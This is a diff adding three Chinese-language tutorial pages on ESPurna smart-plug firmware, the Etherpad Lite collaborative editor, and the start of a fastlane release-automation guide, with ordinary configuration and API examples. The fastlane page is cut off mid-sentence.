000000000..390395b56 --- /dev/null +++ b/src/content/docs/projects/espurna.md @@ -0,0 +1,320 @@ +--- +title: ESPurna — 给 Sonoff 等 ESP8266 插座换「本地大脑」的固件 +来源: 'https://github.com/xoseperez/espurna' +日期: '2026-06-13' +分类: 操作系统 +子分类: 嵌入式 +难度: 初级 +provenance: pipeline-v3 +--- + +## 日常类比:给廉价智能插座换一套「本地操作系统」 + +你花几十块买了一个 Wi-Fi 插座(Sonoff Basic、Shelly、各种「智能通断器」)。出厂固件通常长这样: + +- 必须连厂商云,断网或停服就失控; +- App 里功能有限,很难和自家 NAS、[[home-assistant]] 深度联动; +- 想改 MQTT 主题、加传感器、做「有人经过才开灯」——官方固件基本不给你机会。 + +**ESPurna**(加泰罗尼亚语「火花」)做的事,相当于给这块 ESP8266/ESP8285 芯片 **刷一套开源的本地操作系统**: + +| 现实世界 | ESPurna 对应 | +| --- | --- | +| 插座里的原厂程序 | 厂商闭源固件 | +| 自己装 Linux 的迷你主机 | 刷入 ESPurna 定制固件 | +| 物业前台登记 + 对讲机 | Web UI 配置 + MQTT 上报/订阅 | +| 电工改接线、加传感器 | 支持 DHT、功率计、RF Bridge 等模块 | +| 遥控器上的「夜灯模式」宏 | 设备内 RPN Rules 自动化 | + +刷完以后,设备连上你家 Wi-Fi 和 [[mosquitto]] 之类的 MQTT Broker,**不经过云端** 就能被 [[home-assistant]]、Node-RED、Domoticz 控制。作者 Xose Pérez([@xoseperez](https://github.com/xoseperez))从 2016 年起维护,仓库 [xoseperez/espurna](https://github.com/xoseperez/espurna) 约 3k Stars,GPL-3.0 开源。 + +和 [[esphome]] 的 YAML 编译路线不同,ESPurna 是 **C++ 单体固件 + Web 配置**:为 Sonoff、Shelly、MagicHome 等上百种硬件预编译 profile,刷入后在浏览器里填 Wi-Fi、MQTT、Home Assistant Discovery 即可。 + +--- + +## 解决什么问题 + +| 痛点 | 原厂固件 | ESPurna 的回应 | +| --- | --- | --- | +| 厂商锁定 | 依赖云端 App | 本地 Web UI + MQTT/REST,数据留在局域网 | +| homeassistant 对接 | 无标准协议 | 原生 MQTT,支持 HA MQTT Discovery | +| 硬件白名单 | 只认自家型号 | 大量 Sonoff / Shelly / 第三方 preset | +| 功率/环境感知 | 高端型号才有 | HLW8012、CSE7766、DHT、BME280 等驱动内置 | +| 简单自动化 | 只能在中枢写规则 | **RPN Rules** 可在设备端执行(断网也能跑部分逻辑) | +| 维护更新 | 厂商 OTA 不可控 | Web OTA、NoFUSS 自动更新、PlatformIO 自编译 | + +核心问题:**如何把市面上大量 ESP8266 智能开关/灯控,变成可本地配置、MQTT 友好、可长期维护的智能家居节点?** + +--- + +## ESPurna 在智能家居栈中的位置 + +``` +┌─────────────────────────────────────────────────────────────┐ +│ Home Assistant / Node-RED / Domoticz — 编排与仪表盘 │ +│ ▲ MQTT(状态 topic / 命令 topic …/set) │ +├─────────┴───────────────────────────────────────────────────┤ +│ Mosquitto 等 MQTT Broker — 消息总线 │ +├─────────┴───────────────────────────────────────────────────┤ +│ ESPurna 节点(每块板子一份预编译或自编译固件) │ +│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ +│ │ Sonoff Basic │ │ Sonoff POW │ │ MagicHome RGB│ │ +│ │ 继电器 ×1 │ │ 功率+继电器 │ │ PWM 灯带 │ │ +│ └──────┬───────┘ └──────┬───────┘ └──────┬───────┘ │ +│ │ GPIO / I2C / 1-Wire / HLW8012 … │ +└─────────┴───────────────────────────────────────────────────┘ + +侧路能力: + Web UI(AsyncWebServer)— 配置、开关测试、备份/恢复、OTA + REST API — GET/PUT 继电器、读传感器 + Telnet / Serial Terminal — 调试与 `set`/`get` 命令 + mDNS — `hostname.local` 发现 +``` + +ESPurna 专注 **边缘固件**;中枢负责场景。它与 [[esphome]] 是同类竞品/互补方案:ESPHome 偏「配置即代码」;ESPurna 偏「刷现成 bin + Web 点选」。 + +--- + +## 核心概念 + +### 1. 硬件 Profile(构建预设) + +ESPurna 不为「裸 ESP8266」只提供一份通用固件,而是为 **具体商品** 维护 build flag 预设(如 `ITEAD_SONOFF_BASIC`、`SHELLY1`、`MAGICHOME_LED_CONTROLLER_2_0`)。每个 profile 固定了: + +- 继电器/LED 引脚映射; +- 板载按钮、状态 LED 行为; +- 可选传感器芯片(如 Sonoff POW 的 HLW8012)。 + +**零基础建议**:先确认你的硬件型号在 [Supported hardware](https://github.com/xoseperez/espurna#supported-hardware) 列表里,再下载对应的 **预编译 bin** 或 `pio run -e ` 编译。 + +### 2. Web UI 与配置持久化 + +首次启动(或长按恢复出厂)会进入 **AP 模式**(也可双击主按钮进入)。连上设备热点后,浏览器打开设备 IP 或 `http://.local/`: + +- **Wi-Fi**:最多 5 组 SSID,可扫描选最强信号; +- **MQTT**:Broker 地址、端口、用户名、Root Topic、QoS、Retain; +- **Home Assistant**:`haEnabled` 开启 MQTT Discovery; +- **Admin**:HTTP 基本认证、API Key、OTA 开关。 + +配置保存在 EEPROM/Flash 分区。注意:大版本 OTA 偶尔会因分区布局变化需要 **USB 线刷**(见仓库 Notice 2017-07-24)。 + +### 3. MQTT 主题模型:状态 vs 命令 + +自 v1.9.0 起,**命令 topic 统一带 `/set` 后缀**: + +| 类型 | Topic 模式 | 示例 payload | +| --- | --- | --- | +| 状态(设备发布) | `{root}/relay/0` | `0` / `1` | +| 命令(设备订阅) | `{root}/relay/0/set` | `on` / `off` / `toggle` 或 `0`/`1`/`2` | + +`{root}` 默认为 `{hostname}`,可在 Web UI 的 `mqttTopic` 改成如 `home/living/light`。 + +**与 Home Assistant 对接时**:Wiki 明确建议使用标准 MQTT 平台,**关闭 Web UI 里 MQTT 的 JSON payload 模式**——每条消息一个 topic,而不是整包 JSON。 + +### 4. 继电器语义:脉冲、同步、分组 + +- **Pulse mode**:收到 ON 后自动定时 OFF(门铃、门禁脉冲); +- **Boot status**:上电默认 ON/OFF/保持/翻转; +- **mqttGroup**:跨设备同步——多台 ESPurna 订阅同一 group topic,一台切换则其余跟随; +- **Interlock**:多路继电器互斥(只允许一路 ON)。 + +### 5. RPN Rules(设备端自动化) + +RPN = **逆波兰表示法**(后缀表达式)。规则由「操作数 + 运算符」组成,在芯片上直接执行,无需中枢在线。 + +典型能力:读 `$motion`(MQTT 变量)、`now hour`、比较、`relay` 写继电器。适合「夜间有人经过才开灯」这类 **低延迟、本地** 逻辑。 + +### 6. 按钮手势 + +主按钮(各 profile 可能不同): + +- **单击**:切换继电器; +- **双击**:进入 AP 配置模式; +- **长按 ~1s**:重启; +- **超长按 ~10s**:恢复出厂。 + +--- + +## 代码示例一:用 MQTT 控制 Sonoff 继电器 + +假设 Web UI 里把 Root Topic 设为 `bedroom/heater`,Broker 为 `192.168.1.10:1883`。 + +**订阅状态**(Home Assistant、mosquitto_sub 或 Node-RED 监听): + +```bash +# 监听第 0 路继电器状态 +mosquitto_sub -h 192.168.1.10 -t 'bedroom/heater/relay/0' -v +# 输出示例:bedroom/heater/relay/0 1 +``` + +**发送命令**: + +```bash +# 打开 +mosquitto_pub -h 192.168.1.10 -t 'bedroom/heater/relay/0/set' -m 'on' + +# 关闭 +mosquitto_pub -h 192.168.1.10 -t 'bedroom/heater/relay/0/set' -m 'off' + +# 翻转 +mosquitto_pub -h 192.168.1.10 -t 'bedroom/heater/relay/0/set' -m 'toggle' +``` + +**Node-RED Function 节点**(构造相同语义): + +```javascript +// msg.topic 发往 inject 或 mqtt out +const root = 'bedroom/heater'; +const action = 'on'; // 'off' | 'toggle' +return { + topic: `${root}/relay/0/set`, + payload: action +}; +``` + +带功率计的 Sonoff POW 还会发布 `energy/0`、`power/0`、`voltage/0` 等状态 topic,可在 HA 里映射为 `sensor` 实体。 + +--- + +## 代码示例二:Home Assistant 手动 MQTT 开关 + +若暂时不用 Discovery,可在 `configuration.yaml`(或 UI 等价配置)里声明 MQTT Switch: + +```yaml +mqtt: + broker: 192.168.1.10 + # username: mqtt_user + # password: !secret mqtt_password + +switch: + - platform: mqtt + name: "Bedroom Heater" + state_topic: "bedroom/heater/relay/0" + command_topic: "bedroom/heater/relay/0/set" + payload_on: "1" + payload_off: "0" + state_on: "1" + state_off: "0" + optimistic: false + qos: 1 + retain: true +``` + +**更省事的做法**:在 ESPurna Web UI → MQTT → Home Assistant 区域开启 **MQTT Discovery**(`haEnabled: 1`),并在 HA 侧启用: + +```yaml +mqtt: + discovery: true + discovery_prefix: homeassistant +``` + +设备上线后会向 `homeassistant/switch//config` 等 topic 发送 retained 配置,HA 自动创建设实体。Wiki 建议 Discovery 配置消息也 **Retain**,避免 HA 重启后「失忆」。 + +--- + +## 代码示例三:RPN Rules — 夜间人体感应开灯 + +场景:ESPurna 控制卧室灯继电器;人体传感器通过 MQTT 发布到 `bedroom/motion`,payload `1` 表示有人。 + +**在 Telnet 或 Serial Terminal 中配置**(Web UI 也有 RPN 页面,视版本而定): + +```text +# 1. 把 MQTT topic 绑定到变量名 motion +set rpnMqttTopic0 bedroom/motion +set rpnMqttName0 motion + +# 2. 规则:当前小时在 22–8 点之间 且 有 motion → 关继电器(0=off) 或开灯(1=on) +# 表达式:now hour 8 23 cmp3 abs $motion and 1 relay +# 含义:hour 是否落在 [8,23] 外(夜间) ∧ motion → relay 0 设为 1 +set rpnRule0 now hour 8 23 cmp3 abs $motion and 1 relay + +# 3. 测试子表达式 +RPN.TEST "now hour 8 23 cmp3 abs" + +# 4. 查看变量与定时器 +RPN.VARS +RPN.RUNNERS +``` + +解释 `cmp3`:三值比较,配合 `abs` 可表达「小时在 8–23 之外(即夜间)」。实际阈值请按自家作息改数字。 + +--- + +## 从零开始的推荐路径 + +### 路径 A:预编译 bin(最快) + +1. 确认硬件型号 → 在 [Releases](https://github.com/xoseperez/espurna/releases) 找对应 **Snapshot** 或稳定版 bin; +2. USB + `esptool` 或 Sonoff UART 刷入(Sonoff 需拆壳焊针或买编程座); +3. 手机/电脑连设备 AP → Web UI 配 Wi-Fi; +4. 填写 MQTT → 测试 `mosquitto_sub` / HA Discovery; +5. 改默认 Admin 密码,启用 HTTP Auth。 + +### 路径 B:PlatformIO 自编译(可定制) + +仓库 README 推荐 **PlatformIO**(VS Code 插件或 CLI)。克隆仓库后: + +```bash +git clone https://github.com/xoseperez/espurna.git +cd espurna/code +# 列出所有硬件环境 +pio run --list-targets +# 编译 Sonoff Basic 预设 +pio run -e espurna-itead-sonoff-basic +# USB 上传 +pio run -e espurna-itead-sonoff-basic -t upload +``` + +可在 `platformio.ini` 或 `custom.h` 里关闭不需要的模块(如 `MQTT_SUPPORT`、`TERMINAL_SUPPORT`)以节省 Flash——ESP8266 只有 1MB/4MB 闪存,功能开太多会 **编译失败或运行时 OOM**。 + +--- + +## 与 ESPHome、Tasmota 怎么选 + +| 维度 | ESPurna | [[esphome]] | Tasmota | +| --- | --- | --- | --- | +| 配置方式 | Web UI + Terminal | YAML → 编译 | Web UI + Console | +| 主要芯片 | ESP8266/ESP8285 | ESP32/8266/… | ESP8266/ESP32/… | +| HA 集成 | MQTT Discovery | Native API(也可 MQTT) | MQTT Discovery | +| 设备端规则 | RPN Rules | 有限(lambda/模板) | Rules / Berry(新) | +| 适合谁 | 已有 Sonoff 等预设、爱 MQTT | 愿意维护 YAML、深度 HA 用户 | 社区最大、Topic 文档多 | + +三者并非互斥:同一家庭可以 **ESPurna 管老 Sonoff,ESPHome 管新 ESP32 传感器**。 + +--- + +## 常见问题与踩坑 + +1. **命令发了没反应**:检查是否发到 `…/set` topic;payload 是否为 `on`/`1` 而非 JSON 包(除非刻意启用 JSON)。 +2. **HA 不出现实体**:Discovery 前缀要一致;Broker 上 retain 的 config 是否被清空;ESPurna 侧 `haEnabled` 是否打开。 +3. **OTA 后配置丢失**:跨大版本 OTA 可能踩分区变更,备 USB 线刷。 +4. **SSL MQTT**:常规 build 默认关闭 TLS(占内存),需要特编译;内网明文 MQTT + VLAN 隔离是常见折中。 +5. **内存不足**:8266 上同时开 Web + MQTT + 多传感器 + SSL 易崩溃;用 **Unstable system check** 会自动退回 AP+OTA 安全模式。 + +--- + +## 和本仓库其它笔记的关系 + +- 中枢编排:[[home-assistant]] +- 消息总线:[[mosquitto]] +- 同类 ESP 固件路线:[[esphome]] +- 若用 RF Bridge 433MHz:ESPurna Wiki 有 Sonoff RF Bridge + Portisch 自定义 EFM8 固件说明 + +--- + +## 延伸阅读 + +| 资源 | 说明 | +| --- | --- | +| [ESPurna Wiki](https://github.com/xoseperez/espurna/wiki) | MQTT、Terminal、RPN、各硬件页 | +| [Home Assistant 集成](https://github.com/xoseperez/espurna/wiki/HomeAssistant) | Discovery 与手动 YAML | +| [MQTT 主题参考](https://github.com/xoseperez/espurna/wiki/MQTT) | relay/light/sensor topic 一览 | +| [RPN Rules](https://github.com/xoseperez/espurna/wiki/RPN-Rules) | 运算符与变量完整列表 | +| [PlatformIO 构建](https://github.com/xoseperez/espurna/wiki/Using-PlatformIO-CLI) | 自编译与 custom.h | +| 作者博客 [tinkerman.cat](https://tinkerman.cat/) | Sonoff 改装系列原文 | + +--- + +## 小结 + +ESPurna 把「十块钱 Wi-Fi 插座」变成 **听 MQTT 指挥、可 Web 配置、可选设备端自动化** 的节点。零基础最短路径是:**认型号 → 刷对应 bin → Web 配 Wi-Fi/MQTT → HA Discovery**。掌握 `{root}/relay/0` 与 `{root}/relay/0/set` 的读写分工,你就已经能驱动家里大部分 ESPurna 继电器;需要夜间本地逻辑时,再进阶 RPN Rules 与 Telnet 调试。 diff --git a/src/content/docs/projects/etherpad-lite.md b/src/content/docs/projects/etherpad-lite.md new file mode 100644 index 000000000..483bcbea9 --- /dev/null +++ b/src/content/docs/projects/etherpad-lite.md @@ -0,0 +1,334 @@ +--- +title: Etherpad — 经典协作文本编辑器 +来源: https://github.com/ether/etherpad-lite +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:会议室里的「共享记事本」 + +想象你和三位同事在白板前开头脑风暴:有人打字、有人改标题、有人删错字——**所有人盯着同一块屏幕**,不用等 A 改完发 Word、B 再合并第 9 版。 + +**Etherpad Lite**([ether/etherpad-lite](https://github.com/ether/etherpad-lite))就是浏览器里的 **共享记事本**: + +- **Pad(便笺)** 是一页可无限滚动的纯文本/富文本——每个 URL 对应一个 pad,打开就能写。 +- **实时同步** 像 Google Docs 的早期形态:你每敲一个键,其他人的屏幕几毫秒内跟上;每人光标旁还有 **彩色作者标识**(谁在哪一行改的一目了然)。 +- **Changeset(变更集)** 是底层「编辑指令」——不是整页覆盖,而是「在第 42 个字符后插入 hello」这类增量操作,服务器用 **Operational Transformation(OT)** 合并多人同时提交的 edits,保证最终文本一致。 +- **自托管** 意味着数据在你自己的 Node.js 进程 + 数据库里,而不是某个 SaaS 的黑盒;Wiki 文档称可 **扩展到数千并发编辑者**([scale.etherpad.org](http://scale.etherpad.org/))。 + +与 HedgeDoc(Markdown + 幻灯片)或 Overleaf(LaTeX 编译)不同,Etherpad 的初心是 **极简、实时、可嵌入**:一条 `/p/xxx` 链接、一个 iframe,就能给任意网站挂上协作编辑。官方插件目录见 [static.etherpad.org](https://static.etherpad.org/);文档 [docs.etherpad.org](https://docs.etherpad.org/)。 + +零基础路径:**Docker 起一个实例 → 浏览器打开默认 pad → 开隐身窗口模拟第二人 → 试 HTTP API 创建 pad → 装一个 ep_ 插件**。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:协作靠邮件/IM 传文档,版本爆炸 + +站会记录、临时方案、活动文案——用 Word 或飞书可以,但 **内网实验室、开源社区、不想把草稿交给第三方** 的场景需要自建。Etherpad 给 **一条 URL + 零客户端安装**,打开即写、写完即分享。 + +### 痛点 2:只想嵌入「一块可编辑区域」,不想重做编辑器 + +Etherpad 从设计之初就支持 **iframe 嵌入** 和 **HTTP API**:你的门户(WordPress、LMS、内部 OA)负责登录,Etherpad 负责 **pad 生命周期 + 实时 OT**。权限通过 **Session / Group / Author** 映射,而不是在 Etherpad 里再造一套用户系统。 + +### 痛点 3:功能需求各异,核心却要轻量 + +默认安装很「瘦」——粗体、列表、作者颜色、侧边 chat。需要 Markdown 导出、标题、评论页、WebRTC 语音?通过 **`ep_` 前缀插件** 按需加装,不必 fork 主仓库。 + +### 痛点 4:数据主权与导出 + +支持 **HTML / Etherpad / 纯文本** 等导出路径,插件可扩展 `getLineHTMLForExport` 等 hook。对比闭源 SaaS,**Full Data Export** 能力在 Wiki 中有专门说明,适合合规归档。 + +--- + +## 核心概念拆解 + +### 1. Pad:协作文档的原子单位 + +每个 pad 有唯一 **padID**: + +| 类型 | padID 格式 | 说明 | +|------|------------|------| +| 公开 pad | `my-meeting-notes` | 任意访客可创建(除非 `editOnly`) | +| Group pad | `g.xxxxx$padName` | 属于某个 group,常配合 Session 控权 | + +内容在服务端存为 **一串 revision + changeset**,而不是每次全量快照。读历史 revision 可还原任意时刻(API:`getRevisionChangeset`)。 + +### 2. Author / Group / Session:把「你的用户系统」接到 Etherpad + +Etherpad **不做完整账号体系**(可配 admin 密码、OpenID Connect 插件),推荐模式是: + +1. **Author**:`createAuthorIfNotExistsFor(authorMapper)` 把业务侧 user id 映射为 `a.xxxxx` +2. **Group**:`createGroupIfNotExistsFor(groupMapper)` 把「项目 / 课程 / 租户」映射为 `g.xxxxx` +3. **Session**:`createSession(groupID, authorID, validUntil)` 发 cookie,浏览器才能编辑该 group 下的 pads + +类比:Author 是「员工工牌」,Group 是「部门」,Session 是「今日门禁卡」。 + +### 3. Operational Transformation 与 Changeset + +多人同时编辑时,客户端把本地操作编码为 **changeset 字符串**(如 `Z:1>6b|5+6b$Welcome...`),经 WebSocket 发到服务器;服务器 **变换(transform)** 并发 changeset 后追加为新 revision。你不需要手写 OT,但要理解:**冲突合并在服务端完成**,客户端只负责展示合并后的 Ace Editor 视图。 + +### 4. 插件框架:ep.json + Hooks + +插件名惯例 **`ep_`** 开头,在 `ep.json` 里注册: + +- **Server hooks**:`expressCreateServer`、`padCreate`、`authorize`、`authenticate`… +- **Client hooks**:`postAceInit`、`aceEditEvent`、`padInitToolbar`… + +安装:`pnpm run plugins i ep_markdown`(在 Etherpad 根目录)。详见 [docs.etherpad.org/plugins](https://docs.etherpad.org/plugins.html)。 + +### 5. HTTP API 与 OpenAPI + +REST 形态:`/api/{version}/{functionName}`,响应统一 `{ code, message, data }`。OpenAPI 定义在 `/api/openapi.json`。自 **1.8** 起大文本(如 `setText`)应用 **POST** 传 body,避免 GET 头 8KB 限制。 + +认证:OAuth Bearer token(`settings.json` 的 `sso` 段配置 client)。 + +--- + +## 快速上手:Docker 一键运行 + +官方镜像 `etherpad/etherpad:latest`,配合 PostgreSQL 持久化: + +```yaml +# docker-compose.yml 片段 +services: + app: + image: etherpad/etherpad:latest + ports: + - "9001:9001" + environment: + TITLE: "My Etherpad" + DEFAULT_PAD_TEXT: "Welcome!\n\nStart typing..." + DB_TYPE: postgres + DB_HOST: postgres + DB_PORT: 5432 + DB_NAME: etherpad + DB_USER: admin + DB_PASS: admin + ADMIN_PASSWORD: changeme + depends_on: + - postgres + postgres: + image: postgres:15 + environment: + POSTGRES_USER: admin + POSTGRES_PASSWORD: admin + POSTGRES_DB: etherpad +``` + +启动后访问 `http://localhost:9001`——默认 pad 文案会解释「输入即同步」。环境变量覆盖规则见仓库 `settings.json.docker`:几乎每项都可 `${ENV_VAR:default}` 注入,无需重建镜像即可调参。 + +--- + +## 代码示例 1:HTTP API — 门户为用户创建 Group Pad + +场景:内部 Wiki 用户 id=`7`、显示名 Michael,要为其创建私有 pad 并 iframe 嵌入。 + +**步骤 1 — 映射 Author** + +```bash +curl -s "http://localhost:9001/api/1/createAuthorIfNotExistsFor" \ + --get \ + --data-urlencode "name=Michael" \ + --data-urlencode "authorMapper=7" \ + -H "Authorization: Bearer YOUR_API_TOKEN" +# => {"code":0,"message":"ok","data":{"authorID":"a.s8oes9dhwrvt0zif"}} +``` + +**步骤 2 — 映射 Group 并创建 pad** + +```bash +curl -s "http://localhost:9001/api/1/createGroupIfNotExistsFor" \ + --get --data-urlencode "groupMapper=7" \ + -H "Authorization: Bearer YOUR_API_TOKEN" + +curl -s "http://localhost:9001/api/1/createGroupPad" \ + --get \ + --data-urlencode "groupID=g.s8oes9dhwrvt0zif" \ + --data-urlencode "padName=weekly-standup" \ + --data-urlencode "text=## Standup\n\n- Yesterday:\n- Today:\n" \ + -H "Authorization: Bearer YOUR_API_TOKEN" +``` + +**步骤 3 — 签发 Session(cookie)** + +```bash +VALID_UNTIL=$(($(date +%s) + 86400)) # 24 小时后过期 +curl -s "http://localhost:9001/api/1/createSession" \ + --get \ + --data-urlencode "groupID=g.s8oes9dhwrvt0zif" \ + --data-urlencode "authorID=a.s8oes9dhwrvt0zif" \ + --data-urlencode "validUntil=$VALID_UNTIL" \ + -H "Authorization: Bearer YOUR_API_TOKEN" +# => {"code":0,"data":{"sessionID":"s.xxxxx"}} +``` + +门户把 `sessionID` 写入浏览器 cookie,再嵌入: + +```html + +``` + +用户登出时调用 `deleteSession(sessionID)` 吊销门禁卡。 + +--- + +## 代码示例 2:Node.js 批量写入 pad 内容 + +长文档应走 **POST**(>8KB 时 GET 会踩 Node 请求头上限): + +```javascript +// scripts/seed-pad.mjs — 用 API 初始化 pad 正文 +const BASE = 'http://localhost:9001'; +const TOKEN = process.env.EP_API_TOKEN; +const padID = 'onboarding-checklist'; + +const text = `# 新人 Onboarding + +1. 申请 VPN +2. 阅读安全规范 +3. 加入 #general 频道 +`.repeat(20); // 故意拉长,演示 POST + +const res = await fetch(`${BASE}/api/1/setText`, { + method: 'POST', + headers: { + Authorization: `Bearer ${TOKEN}`, + 'Content-Type': 'application/x-www-form-urlencoded', + }, + body: new URLSearchParams({ padID, text }), +}); + +const json = await res.json(); +if (json.code !== 0) throw new Error(json.message); +console.log('pad seeded:', padID); +``` + +配合 `getText` / `getHTML` 可把 pad 定稿 **拉回 CMS 发博客**——官方 HTTP API 文档 Example 2 就是「多管理员改 pad → API 取文本 → 入库」。 + +--- + +## 代码示例 3:最小插件 — 在 pad 创建时写日志 + +`src/plugin_packages/ep_hello/ep.json`: + +```json +{ + "parts": [ + { + "name": "main", + "hooks": { + "padCreate": "ep_hello/index:onPadCreate" + } + } + ] +} +``` + +`src/plugin_packages/ep_hello/index.js`: + +```javascript +exports.onPadCreate = (hookName, context, cb) => { + console.log('[ep_hello] new pad:', context.padId); + cb(); +}; +``` + +重启 Etherpad 后,每次 `createPad` / `createGroupPad` 都会在服务端日志出现 pad id。更复杂的需求(自定义 toolbar、导出 HTML 标签)可挂 `padInitToolbar`、`exportHtmlAdditionalTags` 等 hook。 + +--- + +## settings.json 里值得先改的几项 + +| 键 | 作用 | +|----|------| +| `title` | 浏览器标签页标题 | +| `defaultPadText` | 新建 pad 的初始文案 | +| `requireSession` | `true` 时必须有 Session,相当于只允许 group pad | +| `editOnly` | `true` 时用户不能 UI 新建 pad,只能 API 创建 | +| `minify` | 生产环境压缩 JS/CSS | +| `dbType` / `dbSettings` | 默认 SQLite;生产用 PostgreSQL | + +插件配置也可用环境变量:`EP__ep_comments_page__highlightSelectedText=true`(路径用双下划线分隔)。 + +--- + +## 常用插件(按需安装) + +官方 README 建议的一包「增强写作体验」: + +```sh +pnpm run plugins i \ + ep_align ep_comments_page ep_embedded_hyperlinks2 \ + ep_font_color ep_headings2 ep_markdown ep_webrtc +``` + +| 插件 | 能力 | +|------|------| +| `ep_markdown` | Markdown 语法与导出 | +| `ep_headings2` | 标题层级 | +| `ep_comments_page` | 侧边评论页 | +| `ep_openid_connect` | 对接企业 IdP 登录 | + +--- + +## Etherpad vs 其他协作编辑器 + +| 维度 | Etherpad Lite | HedgeDoc | Google Docs | +|------|---------------|----------|-------------| +| 定位 | 轻量 embed + API | Markdown 知识库 | 全功能办公 | +| 协同算法 | OT + changeset | Yjs CRDT(v2) | 专有 OT/CRDT | +| 自托管 | 一等公民 | AGPL 自建 | 否 | +| 嵌入/API | HTTP API + iframe | 相对弱 | 有限 API | +| 格式 | 富文本为主 | Markdown 中心 | 富文本 + 表格 | + +选 Etherpad 当你需要 **把实时编辑嵌进已有 Web 应用**,且愿意自己管 Session/Group 映射。 + +--- + +## 架构一瞥(零基础版) + +```text +Browser A ──WebSocket──┐ +Browser B ──WebSocket──┼──► Node.js (Express + Socket.IO) +Browser C ──WebSocket──┘ │ + ├──► PadManager (OT, revisions) + ├──► Plugin hooks (ep_*) + └──► DB (SQLite / Postgres / …) +HTTP API ──REST──────────────► 同上 +``` + +Ace Editor 负责前端渲染;`clientVars` hook 可向浏览器注入额外配置(例如插件开关)。 + +--- + +## 常见坑与排查 + +1. **API 返回 code 4**:Bearer token 错误或 `sso` 未配置 client credentials。 +2. **Group pad 403**:未设置 Session cookie,或 `requireSession: true` 但用了公开 pad。 +3. **setText 失败 text too long**:改用 POST;检查是否仍把全文塞在 GET query。 +4. **插件不生效**:确认目录在 `src/plugin_packages`,且 `ep.json` 路径与 hook 函数导出一致;看启动日志有无 `Plugin loaded: ep_xxx`。 +5. **iframe 跨域 cookie**:Session cookie 需 **SameSite / 域名** 与父页面策略一致,否则嵌入后「只读访客」。 + +--- + +## 延伸学习 + +- [HTTP API 完整方法列表](https://github.com/ether/etherpad-lite/blob/develop/doc/api/http_api.md) +- [Server-side hooks 参考](https://docs.etherpad.org/api/hooks_server-side.html) +- [Docker 部署说明](https://github.com/ether/etherpad-lite/blob/develop/doc/docker.md) +- Wiki:[HTTP API client libraries](https://github.com/ether/etherpad-lite/wiki/HTTP-API-client-libraries)(多语言 SDK) + +--- + +## 小结 + +Etherpad Lite 是 **2011 年代至今仍在演进的开源实时协作编辑器**:Pad + OT/changeset 保证多人同步;Author/Group/Session 把外部账号接进来;HTTP API 与 iframe 让它成为 **可编程的协作组件** 而非孤立 SaaS。零基础先 **Docker 跑起来、双人试打字、curl 调一次 createGroupPad**;进阶再写 `ep_` 插件或对接 OpenID。数据在你服务器上,链接即房间——这就是它「经典」的原因。 diff --git a/src/content/docs/projects/fastlane.md b/src/content/docs/projects/fastlane.md new file mode 100644 index 000000000..d07362198 --- /dev/null +++ b/src/content/docs/projects/fastlane.md @@ -0,0 +1,329 @@ +--- +title: fastlane — iOS / Android 移动应用发布自动化 +来源: https://github.com/fastlane/fastlane +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +fastlane 是一套用 **Ruby DSL** 写的移动应用发布自动化工具,把 iOS / Android 上那些重复、易错、又不得不做的琐事——改版本号、签名、编译、上传 TestFlight / Google Play、截屏、填元数据——串成一条可重复执行的「流水线」。 + +日常类比:想象你是一家面包店的店长,每天要 **和面 → 发酵 → 进炉 → 贴标签 → 送到各门店**。以前每个步骤靠人记、靠微信群喊;fastlane 相当于把整套 SOP 写进一本 **配方书(Fastfile)**,店员只要喊一声「走 beta 流程」,机器按顺序做完,出错还能自动通知 Slack。 + +官方仓库:https://github.com/fastlane/fastlane(MIT,40k+ stars,移动端 CI/CD 的事实标准之一)。 + +最小可运行示例——`fastlane init` 之后常见的 iOS beta 车道: + +```ruby +# fastlane/Fastfile +default_platform(:ios) + +platform :ios do + desc "构建并上传到 TestFlight" + lane :beta do + increment_build_number + build_app(scheme: "MyApp") + upload_to_testflight + end +end +``` + +终端一行触发: + +```bash +bundle exec fastlane beta +``` + +## 为什么重要 + +如果你做原生 iOS / Android 或 React Native / Flutter 的 **上架与内测分发**,不理解 fastlane 会在这些场景吃亏: + +- **签名地狱**:iOS 的证书、Provisioning Profile、Keychain 权限在本地和 CI 上行为不一致;`match` 把签名材料集中进加密 Git 仓库,团队与 CI 共用同一套身份 +- **「我本机能发,CI 不能发」**:手工点 Xcode Archive 能过,Jenkins 上却报 `No signing certificate`——lane 把环境差异显式化(`setup_ci`、`is_ci`) +- **版本号与元数据漂移**:build number 忘加、截图尺寸不对、What's New 没填——action 原子化每一步,失败点可定位 +- **多商店、多轨道**:TestFlight internal/external、Play Console internal/closed/open/production 轨道,`upload_to_*` 参数即文档 + +和 Expo EAS 的分工:EAS 偏 **RN 云构建 + OTA**;fastlane 偏 **任意原生工程** 在 **你自己的 Mac / CI** 上驱动 Xcode / Gradle,与商店 API 对话。二者常并存——RN 项目用 `eas build` 出包,仍可用 fastlane 提交商店。 + +## 核心概念 + +fastlane 的心智模型可以压成四层: + +### 1. Action(动作) + +最小执行单元,约 **170+ 内置 action**(构建、测试、上传、Git、通知等)。在 Fastfile 里看起来像函数调用: + +```ruby +increment_build_number(xcodeproj: "MyApp.xcodeproj") +build_app(scheme: "MyApp", export_method: "app-store") +upload_to_testflight(skip_waiting_for_build_processing: true) +``` + +历史别名仍常见:`gym` ≈ `build_app`,`scan` ≈ `run_tests`,`pilot` ≈ `upload_to_testflight`,`deliver` ≈ `upload_to_app_store`。 + +### 2. Lane(车道) + +**按名字组织的一组 action**,对应团队里的固定流程:`test`、`beta`、`release`。执行: + +```bash +fastlane ios beta # platform :ios 下的 beta +fastlane android beta # platform :android 下的 beta +fastlane lanes # 列出所有车道及 desc +``` + +Lane 支持 `before_all` / `after_all` / `error` 钩子,以及 **`private_lane`** 做内部子流程拆分。 + +### 3. Fastfile + Appfile + +| 文件 | 作用 | +|------|------| +| `fastlane/Fastfile` | 车道与 action 定义(Ruby DSL) | +| `fastlane/Appfile` | 应用标识:iOS `app_identifier`、`apple_id`;Android `package_name` | +| `fastlane/Matchfile` | `match` 签名同步配置(可选) | +| `fastlane/Pluginfile` | 社区插件依赖(可选) | + +`fastlane init` 会在项目根下创建 `fastlane/` 目录并引导选择:截屏、TestFlight、App Store 或手动模板。 + +### 4. 签名与商店:match + upload + +- **match**:在私有 Git 仓库存放加密证书与描述文件,开发机与 CI `readonly` 